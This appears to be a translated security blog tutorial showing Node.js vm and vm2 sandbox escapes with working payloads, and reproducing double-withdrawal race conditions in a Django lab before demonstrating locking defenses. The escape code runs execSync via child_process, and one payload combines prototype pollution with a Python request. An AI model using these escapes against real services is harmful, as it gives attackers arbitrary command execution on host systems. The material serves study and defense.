JS Sandbox Bypass and Race Condition Vulnerability Reappearance

Table of contents

1. Sandbox bypass

1. Concept

2. Example analysis

2.1 Example 1 of the vm module (using the context object or this pointer)

2.2 Example 2 of the vm module (using the toString attribute)

2.3vm2 module example 1 (trigger call stack overflow exception)

2.4 Example of vm2 module (prototype chain pollution +import dynamic import)

2.5vm2 module example (regular bypass)

2. Competitive Vulnerabilities

1. Concept

2. Environment construction

3. Reproduction process

3.1 Competition attack without lock and transaction

3.2 Competition attack without lock and transaction

3.3 Pessimistic lock plus transaction defense

3.4 Optimistic locking plus transaction defense


1. Sandbox bypass

1. Concept

Sandbox bypass" refers to the use of various methods and techniques by attackers to circumvent or bypass the sandbox (sandbox) in an application or system. A sandbox is a security mechanism used to isolate and restrict the execution environment of an application , so as to prevent malicious code from causing damage to the system. It is often used to isolate untrusted code to prevent it from accessing sensitive data or performing unauthorized operations on the system.

When attackers successfully bypass the sandbox, they can execute malicious code on the affected system and potentially obtain sensitive information, spread malware, perform denial-of-service attacks, or exploit system vulnerabilities, among other things.

2. Example analysis

2.1 Example 1 of the vm module (using the context object or this pointer)

Let me talk about the simplest vm module first. The vm module is a built-in module of Node.JS. In theory, it cannot be called a sandbox. It is just an isolated environment provided by Node.JS to users.

example

const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

In fact, there is only one way to escape from the sandbox, which is to get the variable or object outside the sandbox, and then use the .toString method and the .constructor attribute to get the Function attribute, and then get the process, and then you can execute arbitrary code

You can use this directly for this sample question, because there is no way to use this here. At this time, this points to global, and the payload is constructed as follows

const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()

this.toString.constructor is the method of Function, and then use Function to return the process object

Then call the submodule to execute the command and successfully bypass the sandbox

There may be doubts here, why not use m and n to get Function, m and n variables are defined externally

The reason for this is that primitive types, numbers, strings, Booleans, etc. are all primitive types, and their transfer actually transfers values ​​instead of references, so although you also use m in the sandbox, this m is different from the external one. m is no longer an m, so it cannot be used, but if it is changed to {m: [], n: {}, x: /regexp/}, then m, n, and x can all be used.

Finally execute the following code with nodejs

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

successfully executed

  

2.2 Example 2 of the vm module (using the toString attribute)

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

 The this point of this example becomes null, the Function attribute cannot be obtained, and there are no other objects in the context

At this point we can use the arguments object. arguments is a variable that exists when the function is executed, and we can get the caller who called the function through arguments.callee.caller.

arguments.callee is the recursive call itself, and .caller is a reference to the function that called the current function. It provides a way to look up the call stack, going back to the function that called the current function. So we can use this method to get Function.

Then if we define a function in the sandbox and return it, and the function is called outside the sandbox, then the arguments.callee.caller at this time is the caller outside the sandbox, and we can get its value through this caller constructor and other attributes, you can bypass the sandbox.

Construct the following payload

(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()

 The ingenuity of this question lies in the last console.log('Hello' + res), at this time res is not a string, and when a string is combined with another non-string, res will be converted to a string , which is equivalent to res.toString. At this time, the function in our payload is called and the command is executed.

If there is no console.log('Hello' + res) at the end, we can also use Proxy to hijack all attributes. As long as the attributes are obtained outside the sandbox, we can still use them to execute malicious code, so we won't demonstrate them here. up

2.3vm2 module example 1 (trigger call stack overflow exception)

But the first two examples mainly talk about the vm module. vm is not a strict sandbox, but an isolated environment. And vm2 is a serious sandbox, which is much more difficult than vm

This sample problem is bypassed by triggering an external exception, but the vm2 version must be before 3.6.10

The interesting thing about this method is that it tries to trigger an exception in the code outside the sandbox and catch it in the sandbox, so that an external variable e can be obtained, and then the constructor of this variable e can be used to execute the code.

The way to trigger an exception is to "explode the call stack". JavaScript will throw an exception when it recurses more than a certain number of times.

But what we need to ensure is that the function that throws the exception is in the scope of the host (that is, outside the sandbox). When js is executed 1001 times, the call stack overflows, and an error will be reported at this time

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
		length: 10,
		utf8Write(){
			
		}
}
function r(i){
	var x = 0;
	try{
		x = r(i);
	}catch(e){}
	if(typeof(x)!=='number')
		return x;
	if(x!==i)
		return x+1;
	try{
		f.call(ft);
	}catch(e){
		return e;
	}
	return null;
}
var i=1;
while(1){
	try{
		i=r(i).constructor.constructor("return process")();
		break;
	}catch(x){
		i++;
	}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

But it seems that the default limit of the recursion of the v8 engine is 10,000 times. After waiting for more than 10 minutes, there is no response, so I did not reproduce this example. 

2.4 Example of vm2 module (prototype chain pollution +import dynamic import)

const express = require('express');
const app = express();
const { VM } = require('vm2');
 
app.use(express.json());
 
const backdoor = function () {
    try {
        console.log(new VM().run({}.shellcode));
    } catch (e) {
        console.log(e);
    }
}
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
 
 
app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});
 
app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})
 
app.listen(3000, function () {
    console.log('start listening on port 3000');
});

I talked about the prototype chain pollution before, so I won’t go into details here.

First, the merge and clone methods are found through code audit, so there is a high probability of prototype chain pollution, and then look at the if condition, the copybody needs to have the shit attribute, and it is true to enter the backdoor() method, and then look at the backdoor() method

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

To analyze new VM().run({}.shellcode), {} needs to have the shellcode attribute. We can pollute the prototype chain to make the empty object have the shellcode attribute, and then need to escape from the sandbox. There is no context object here. We can use The method of dynamically importing elements to bypass the sandbox and construct the following payload

{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')
res.toString.constructor(\"return this\")
().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}

 Send a post request with Python

import requests
import json

url="http://192.168.239.138:3000/"

headers={"Content-type":"application/json"}

data={"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n    res.toString.constructor(\"return this\")\n    ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}

req=requests.post(url=url,headers=headers,data=json.dumps(data))

print(req.text)

 Finally, it successfully reproduced (the error was reported before because no print statement was written)

2.5vm2 module example (regular bypass)

This sample question cannot be reproduced due to incomplete code, but it can be analyzed

const { VM } = require('vm2');

function safeEval(calc) {
  if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return new VM().run(calc);
}

First, if judges, if the input calc parameter does not match this regularity, then the if condition will be judged as true and return null, if it matches this regularity, it will be replaced with empty, and the if condition will be judged as false, Finally return new VM().run(calc), so we need to match this regularity

This rule can be divided into three parts

  1. The first part must have the keyword Math, and the last? represents 0 or 1 times, so both Math.xxx and Math can be matched
  2. The second part matches +, -, *, /, &, , |, ^, %, <, >, =, ,, these symbols?:
  3. The third part matches integers or floating point numbers, such as 3.14, or scientific notation, such as 3.9e3

This regularity can be said to filter more strictly, but we can also bypass it

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()

Analyzing this code, first of all, the regularization can definitely match this code

 Next, let's analyze why it is written like this

It creates a method with the formal parameter Math. The content of the method is to first assign Math.constructor to Math, and then call the Math.constructor method. The content is Math.fromCharCode({gen(c)}), we can ignore gen first (c), so what is the use of this .fromCharCode method?

This method can convert the ascii code of a character to a character, so that we can bypass its regularity

Finally, the parameter Math+1 is passed, which can also be matched by regular expressions, so why pass this parameter?

Because Math+1 returns a string, and the constructor attribute of the string is the toString method, and the constructor of the toString method is Function, and the last () is executed immediately.

Then you can find the payload of the corresponding version of vm2, and combine it with the regular bypass, you can successfully bypass

2. Competitive Vulnerabilities

1. Concept

A race condition vulnerability (Race Condition Vulnerability) is a security vulnerability that occurs when multiple processes or threads compete for access to a shared resource. The root cause of this vulnerability is improper management of concurrent operations, leading to unpredictable results.

In simple terms, race condition vulnerabilities can arise in the following situations:

  1. Multiple processes or threads do not have appropriate synchronization control when accessing shared resources (such as files, memory, databases, etc.).
  2. The order of execution among these processes or threads is unpredictable and may result in inconsistencies in data or erratic program behavior.

2. Environment construction

Here we use ubuntu and Python3 to reproduce the vulnerability. The project code is above the article. After decompression, cd into the directory

Note that other dependent environments are needed here. The following are the packages that need to be installed using pip3. The download speed of the official source is slow, and the domestic source can be replaced. I am using Alibaba Cloud here.

root@localhost:~# vim /etc/pip.conf
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/

[install]
trusted-host=mirrors.aliyun.com

django
pytz
python-dotenv
dj-database-url
psycopg2-binary
gunicorn
gevent
django-bootstrap5
waitress

When everything is ready, first use migrate to generate the database table, then create a super user so that we can log in to the background (background address/admin), and finally use the collectstatic command to generate the front-end code

python3 manage.py migrate
python3 manage.py createsuperuser
python3 manage.py collectstatic

Then enter the templates directory, vim form.html, modify the enctype attribute of the form form to "multipart/form-data"

Finally, use the following command to start the service. The port number and ip can be changed by yourself. If an error occurs, it is most likely because the port is occupied or there is no cd to switch to the corresponding project directory.

gunicorn -w 2 -k gevent -b 0.0.0.0:8088 race_condition_playground.wsgi

After the startup is successful, we can start our experiment

3. Reproduction process

3.1 Competition attack without lock and transaction

ucenter1 has no defense, no lock and no transaction vim /app/ucenter/view.py

The css rendering here is not successful. I don’t know why. It’s still useless after retrying many times, but it doesn’t affect our operation.

First enter the background, click user

Then click on the super user name

 Then add the amount of money you want in money

Then save, then visit /ucenter/1, if the amount of money is normal, it means the setting is successful

Then fill in 100, use bp to capture the packet, copy and paste it to Yakit after the packet capture is successful, then select the concurrent configuration and delete unnecessary fields

 Then click to send the request, here I failed the first time, and the second time I sent it successfully

Now let's go backstage to see

 It was found that there were two withdrawal records of 100, but our deposit was only 100, so it was successfully reproduced

3.2 Competition attack without lock and transaction

ucenter2 added transaction

Transactions without locks cannot defend against competition attacks. Transactions can only achieve operations that are either successful or unsuccessful, and cannot lock our process

Let’s re-add the amount of money and capture packets. It’s the same as the ucenter1 operation. This time I succeeded once. The result is obvious, and there are still competitive vulnerabilities.

 Let's check the background

 Recorded twice, reproduced successfully, but there is still a competitive vulnerability

3.3 Pessimistic lock plus transaction defense

ucenter3 adds pessimistic locks and transactions. The meaning of pessimistic locks is to pessimistically believe that there must be processes to update data, so pessimistic locks will lock processes in advance

 Before processing the form data, that is, just after the front end submits the data, the process is locked using select for update and the primary key pk, and the read operation is also affected at this time.

Then it will be useless if we send the package again, let’s test it again

There is only one 302 jump, that is to say, only one successful withdrawal is made, and there is only one record when checking the background

But there is a problem here. If there are a lot of read operations, using pessimistic locks will cause performance problems, because every time the view is accessed, the current user object will be locked. At this time, other user scenarios, such as accessing the home page, will also be stuck. live.

This way we can use optimistic locking

3.4 Optimistic locking plus transaction defense

The meaning of optimistic locking is to optimistically believe that no other process will update the data, but only when the data needs to be updated, the process will be locked

After the front-end submits the form data, the optimistic lock does not lock the process immediately, but uses update lock when withdrawal is required, so that there will be no problem that the read operation is also prohibited

Let's test it, there is no competition vulnerability, only a 302 record

 Check the background, there is still only one record

Through this experiment, we know that optimistic locking and transactions are the optimal solution to defend against race condition vulnerabilities 

Guess you like

Origin blog.csdn.net/CQ17743254852/article/details/132049918